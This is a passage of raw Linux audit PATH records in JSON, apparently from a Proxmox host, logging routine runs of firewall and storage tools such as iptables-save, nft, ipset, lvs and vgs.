mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245700,"@rawstring":"node=pve type=PATH msg=audit(1781965245.700:64777): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245700,"@rawstring":"node=pve type=PATH msg=audit(1781965245.700:64777): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245697,"@rawstring":"node=pve type=PATH msg=audit(1781965245.697:64776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245697,"@rawstring":"node=pve type=PATH msg=audit(1781965245.697:64776): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245689,"@rawstring":"node=pve type=PATH msg=audit(1781965245.689:64775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245689,"@rawstring":"node=pve type=PATH msg=audit(1781965245.689:64775): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245678,"@rawstring":"node=pve type=PATH msg=audit(1781965245.678:64774): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245678,"@rawstring":"node=pve type=PATH msg=audit(1781965245.678:64774): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965244125,"@rawstring":"node=pve type=PATH msg=audit(1781965244.125:64773): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965244125,"@rawstring":"node=pve type=PATH msg=audit(1781965244.125:64773): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965244102,"@rawstring":"node=pve type=PATH msg=audit(1781965244.102:64772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965244102,"@rawstring":"node=pve type=PATH msg=audit(1781965244.102:64772): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PATH msg=audit(1781965242.291:64771): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PATH msg=audit(1781965242.291:64771): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PATH msg=audit(1781965242.291:64770): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PATH msg=audit(1781965242.291:64769): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PATH msg=audit(1781965242.285:64768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PATH msg=audit(1781965242.285:64768): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PATH msg=audit(1781965242.285:64767): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PATH msg=audit(1781965242.285:64766): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240299,"@rawstring":"node=pve type=PATH msg=audit(1781965240.299:64765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240299,"@rawstring":"node=pve type=PATH msg=audit(1781965240.299:64765): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240298,"@rawstring":"node=pve type=PATH msg=audit(1781965240.298:64764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240298,"@rawstring":"node=pve type=PATH msg=audit(1781965240.298:64764): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240297,"@rawstring":"node=pve type=PATH msg=audit(1781965240.297:64763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240297,"@rawstring":"node=pve type=PATH msg=audit(1781965240.297:64763): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PATH msg=audit(1781965237.279:64762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PATH msg=audit(1781965237.279:64762): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PATH msg=audit(1781965237.279:64761): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PATH msg=audit(1781965237.279:64760): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PATH msg=audit(1781965237.272:64759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PATH msg=audit(1781965237.272:64759): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PATH msg=audit(1781965237.272:64758): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PATH msg=audit(1781965237.272:64757): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235669,"@rawstring":"node=pve type=PATH msg=audit(1781965235.669:64756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235669,"@rawstring":"node=pve type=PATH msg=audit(1781965235.669:64756): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235665,"@rawstring":"node=pve type=PATH msg=audit(1781965235.665:64755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235665,"@rawstring":"node=pve type=PATH msg=audit(1781965235.665:64755): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=PATH msg=audit(1781965235.664:64754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=PATH msg=audit(1781965235.664:64754): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=PATH msg=audit(1781965235.664:64753): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235658,"@rawstring":"node=pve type=PATH msg=audit(1781965235.658:64752): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235658,"@rawstring":"node=pve type=PATH msg=audit(1781965235.658:64752): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235658,"@rawstring":"node=pve type=PATH msg=audit(1781965235.658:64752): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235652,"@rawstring":"node=pve type=PATH msg=audit(1781965235.652:64751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235652,"@rawstring":"node=pve type=PATH msg=audit(1781965235.652:64751): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235646,"@rawstring":"node=pve type=PATH msg=audit(1781965235.646:64750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235646,"@rawstring":"node=pve type=PATH msg=audit(1781965235.646:64750): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235640,"@rawstring":"node=pve type=PATH msg=audit(1781965235.640:64749): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235640,"@rawstring":"node=pve type=PATH msg=audit(1781965235.640:64749): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235632,"@rawstring":"node=pve type=PATH msg=audit(1781965235.632:64748): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235632,"@rawstring":"node=pve type=PATH msg=audit(1781965235.632:64748): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235626,"@rawstring":"node=pve type=PATH msg=audit(1781965235.626:64746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235626,"@rawstring":"node=pve type=PATH msg=audit(1781965235.626:64746): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235622,"@rawstring":"node=pve type=PATH msg=audit(1781965235.622:64745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235622,"@rawstring":"node=pve type=PATH msg=audit(1781965235.622:64745): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235613,"@rawstring":"node=pve type=PATH msg=audit(1781965235.613:64744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235613,"@rawstring":"node=pve type=PATH msg=audit(1781965235.613:64744): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235601,"@rawstring":"node=pve type=PATH msg=audit(1781965235.601:64743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235601,"@rawstring":"node=pve type=PATH msg=audit(1781965235.601:64743): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235597,"@rawstring":"node=pve type=PATH msg=audit(1781965235.597:64742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235597,"@rawstring":"node=pve type=PATH msg=audit(1781965235.597:64742): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235588,"@rawstring":"node=pve type=PATH msg=audit(1781965235.588:64741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235588,"@rawstring":"node=pve type=PATH msg=audit(1781965235.588:64741): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235577,"@rawstring":"node=pve type=PATH msg=audit(1781965235.577:64740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235577,"@rawstring":"node=pve type=PATH msg=audit(1781965235.577:64740): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235559,"@rawstring":"node=pve type=PATH msg=audit(1781965235.559:64739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235559,"@rawstring":"node=pve type=PATH msg=audit(1781965235.559:64739): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235546,"@rawstring":"node=pve type=PATH msg=audit(1781965235.546:64738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235546,"@rawstring":"node=pve type=PATH msg=audit(1781965235.546:64738): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235537,"@rawstring":"node=pve type=PATH msg=audit(1781965235.537:64737): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235537,"@rawstring":"node=pve type=PATH msg=audit(1781965235.537:64737): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=PATH msg=audit(1781965235.534:64736): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=PATH msg=audit(1781965235.534:64736): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=PATH msg=audit(1781965235.534:64735): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235525,"@rawstring":"node=pve type=PATH msg=audit(1781965235.525:64734): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235525,"@rawstring":"node=pve type=PATH msg=audit(1781965235.525:64734): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235525,"@rawstring":"node=pve type=PATH msg=audit(1781965235.525:64734): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235509,"@rawstring":"node=pve type=PATH msg=audit(1781965235.509:64733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235509,"@rawstring":"node=pve type=PATH msg=audit(1781965235.509:64733): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235503,"@rawstring":"node=pve type=PATH msg=audit(1781965235.503:64732): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235503,"@rawstring":"node=pve type=PATH msg=audit(1781965235.503:64732): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235495,"@rawstring":"node=pve type=PATH msg=audit(1781965235.495:64731): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235495,"@rawstring":"node=pve type=PATH msg=audit(1781965235.495:64731): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235486,"@rawstring":"node=pve type=PATH msg=audit(1781965235.486:64730): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235486,"@rawstring":"node=pve type=PATH msg=audit(1781965235.486:64730): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235479,"@rawstring":"node=pve type=PATH msg=audit(1781965235.479:64729): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235479,"@rawstring":"node=pve type=PATH msg=audit(1781965235.479:64729): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235005,"@rawstring":"node=pve type=PATH msg=audit(1781965235.005:64728): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235005,"@rawstring":"node=pve type=PATH msg=audit(1781965235.005:64728): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965234984,"@rawstring":"node=pve type=PATH msg=audit(1781965234.984:64727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965234984,"@rawstring":"node=pve type=PATH msg=audit(1781965234.984:64727): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232262,"@rawstring":"node=pve type=PATH msg=audit(1781965232.262:64726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232262,"@rawstring":"node=pve type=PATH msg=audit(1781965232.262:64726): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 